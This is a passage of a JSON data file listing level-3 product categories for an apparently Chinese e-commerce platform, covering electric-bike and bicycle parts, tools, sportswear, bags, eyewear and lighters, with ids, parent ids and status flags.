arent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25677,"name":"电动车脚踏","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25674,"name":"电动车开关","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25687,"name":"电动车控制器","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25671,"name":"电动车内胎","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25683,"name":"电动车前叉/减震装置","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25689,"name":"电动车刹车装置","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25681,"name":"电动车碳刷/刷架","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25673,"name":"电动车外胎","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25676,"name":"电动车线类","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25678,"name":"电动车轴承","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25672,"name":"电动车坐垫","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25667,"name":"电机","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25684,"name":"平衡车零配件","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25738,"name":"AB胶","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25752,"name":"除锈剂","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25750,"name":"电池夹","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25756,"name":"电池检测仪","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25758,"name":"电动车补胎工具","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25751,"name":"电烙铁","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25749,"name":"焊锡丝","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25741,"name":"胶棒","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25754,"name":"绝缘胶布","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25757,"name":"控制器接头/插接件","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25743,"name":"冷补胶","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25744,"name":"撬胎棒","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25746,"name":"气门芯","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25747,"name":"热熔枪","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25748,"name":"热缩管","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25753,"name":"拖车拖挂","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25745,"name":"橡胶锤","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25739,"name":"扎带","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25755,"name":"整车检测仪","parent_cid":20837,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25693,"name":"电动滑板车","parent_cid":20835,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25692,"name":"电动摩托车","parent_cid":20835,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25697,"name":"电动轻便摩托车","parent_cid":20835,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25694,"name":"电动自行车","parent_cid":20835,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25696,"name":"自平衡电动车","parent_cid":20835,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25716,"name":"瘪胎助推器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25714,"name":"电池修复器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25715,"name":"电池修复液","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25701,"name":"电动车/摩托车充气泵","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25702,"name":"电动车/摩托车导航仪","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25703,"name":"电动车/摩托车点烟器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25700,"name":"电动车/摩托货架","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25699,"name":"电动车/摩托套锁","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25724,"name":"电动车报警器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25726,"name":"电动车撑伞架","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25736,"name":"电动车车载充电器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25721,"name":"电动车充电器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25725,"name":"电动车挡风被","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25723,"name":"电动车打气筒","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25728,"name":"电动车电池盒","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25722,"name":"电动车定时器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25731,"name":"电动车防尘罩","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25732,"name":"电动车防风镜","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25734,"name":"电动车防晒衣/披肩","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25704,"name":"电动车GPS定位器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25710,"name":"电动车护膝","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25711,"name":"电动车脚垫","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25729,"name":"电动车记录仪","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25707,"name":"电动车铃/喇叭","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25718,"name":"电动车面罩/帽","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25727,"name":"电动车牌照框","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25737,"name":"电动车手机导航支架","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25719,"name":"电动车手套/护手","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25706,"name":"电动车锁","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25705,"name":"电动车贴","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25709,"name":"电动车头盔","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25720,"name":"电动车音响/音箱","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25712,"name":"电动车雨披","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25730,"name":"电动车遮阳伞","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25713,"name":"电压转换器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25708,"name":"快速充电站","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25733,"name":"骑行防水鞋套","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25735,"name":"头盔镜片防雾剂","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25698,"name":"增程器","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25717,"name":"遮阳伞雨披","parent_cid":20836,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25766,"name":"单肩包","parent_cid":20862,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25770,"name":"防水箱","parent_cid":20862,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25768,"name":"手机袋","parent_cid":20862,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25767,"name":"双肩包","parent_cid":20862,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25769,"name":"相机包","parent_cid":20862,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25759,"name":"卡包","parent_cid":20861,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25764,"name":"证件包","parent_cid":20861,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25772,"name":"鞋袋","parent_cid":20865,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25774,"name":"脏衣篓","parent_cid":20865,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25773,"name":"杂物袋","parent_cid":20865,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25763,"name":"保健环","parent_cid":20860,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25771,"name":"智能手环","parent_cid":20860,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25785,"name":"健身裤","parent_cid":20871,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25789,"name":"健身套装","parent_cid":20871,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25784,"name":"健身衣","parent_cid":20871,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25797,"name":"训练防护衣裤","parent_cid":20871,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25776,"name":"跑步裤","parent_cid":20868,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25778,"name":"跑步套装","parent_cid":20868,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25775,"name":"跑步T恤","parent_cid":20868,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25777,"name":"跑步外套","parent_cid":20868,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25782,"name":"运动牛仔裤","parent_cid":20870,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25779,"name":"运动长裤","parent_cid":20870,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25783,"name":"运动中长裤/短裤","parent_cid":20870,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25787,"name":"单马甲","parent_cid":20877,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25788,"name":"棉马甲","parent_cid":20877,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25795,"name":"羽绒马甲","parent_cid":20877,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25792,"name":"运动背心","parent_cid":20872,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25790,"name":"运动内裤","parent_cid":20872,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25798,"name":"运动内衣套装","parent_cid":20872,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25791,"name":"运动文胸","parent_cid":20872,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25786,"name":"棒球服","parent_cid":20875,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25794,"name":"橄榄球服","parent_cid":20875,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25796,"name":"高尔夫球服","parent_cid":20875,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25793,"name":"其它球服","parent_cid":20875,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25780,"name":"运动半身裙","parent_cid":20869,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25781,"name":"运动连衣裙","parent_cid":20869,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25842,"name":"防风/尘保暖面罩","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25843,"name":"骑行服","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25847,"name":"骑行头盔","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25844,"name":"骑行袜","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25845,"name":"骑行鞋","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25848,"name":"骑行眼镜/风镜","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25841,"name":"袖/腿套/束管带","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25846,"name":"自行车包","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25850,"name":"自行车手套","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25849,"name":"自行车头巾","parent_cid":20884,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25807,"name":"便携音响/音箱","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25801,"name":"车铃/喇叭","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25808,"name":"单车护链贴","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25802,"name":"打气筒","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25799,"name":"灯架/灯夹","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25810,"name":"防水地图袋","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25800,"name":"货架/尾架","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25804,"name":"捆扎带/车把带","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25803,"name":"水壶架","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25813,"name":"自行车撑伞架","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25805,"name":"自行车灯","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25814,"name":"自行车码表及配件","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25812,"name":"自行车手机架","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25809,"name":"自行车水壶","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25806,"name":"自行车锁","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25811,"name":"自行车贴纸/反光贴","parent_cid":20882,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25827,"name":"变速器/保护器","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25822,"name":"车篮/车筐","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25820,"name":"车圈/刀圈","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25821,"name":"车条/幅条","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25825,"name":"脚撑/停车架/骑行台","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25823,"name":"脚踏/轴承/滚珠","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25824,"name":"泥除/挡泥板","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25826,"name":"前叉/避震装置","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25816,"name":"曲柄","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25817,"name":"牙盘","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25840,"name":"牙盘曲柄中轴套装","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25815,"name":"中轴","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25831,"name":"自行车把立","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25830,"name":"自行车把套","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25833,"name":"自行车车把","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25834,"name":"自行车车架","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25838,"name":"自行车车头碗","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25836,"name":"自行车飞轮","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25832,"name":"自行车花鼓","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25837,"name":"自行车链条/链条扣","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25835,"name":"自行车轮组","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25828,"name":"自行车内胎","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25839,"name":"自行车刹车装置","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25829,"name":"自行车外胎","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25818,"name":"坐垫/鞍座","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25819,"name":"座管/座杆","parent_cid":20883,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25878,"name":"补胎胶水","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25875,"name":"补胎片","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25868,"name":"挫胎片","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25876,"name":"多功能刀","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25877,"name":"多功能钳","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25867,"name":"截链器","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25874,"name":"螺丝刀","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25869,"name":"撬胎棒","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25870,"name":"气门芯","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25872,"name":"润滑油","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25873,"name":"线剪钳","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25871,"name":"洗链器","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25866,"name":"修车架","parent_cid":20886,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25851,"name":"BMX小轮车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25863,"name":"电动平衡车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25862,"name":"更多自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":25857,"name":"公路自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25860,"name":"旅行自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25856,"name":"轻便车/通勤自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25864,"name":"青少年学生车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25854,"name":"三轮车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25858,"name":"山地自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25853,"name":"双人/三人自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25859,"name":"折叠自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25861,"name":"智能自行车","parent_cid":20885,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22258,"name":"3D眼镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22272,"name":"防辐射眼镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22271,"name":"防蓝光镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22274,"name":"机动车驾驶镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22268,"name":"老花镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22267,"name":"潜水镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22264,"name":"夜视镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22265,"name":"游泳镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22270,"name":"运动眼镜","parent_cid":20151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22275,"name":"定制成品光学镜","parent_cid":20150,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22262,"name":"眼镜架","parent_cid":20150,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22263,"name":"眼镜片","parent_cid":20150,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22287,"name":"打火机配件/工具","parent_cid":20156,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22277,"name":"火柴","parent_cid":20156,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22276,"name":"ZIPPO/芝宝","parent_cid":20156,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22289,"name":"其它品牌打火机","parent_cid":20156,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22283,"name":"其他打火机","parent_cid":20156,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22278,"name":"镜布","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22282,"name":"眼镜鼻托","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22280,"name":"眼镜袋","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22288,"name":"眼镜防滑耳套","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22279,"name":"眼镜盒","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22284,"name":"眼镜护理剂","parent_ci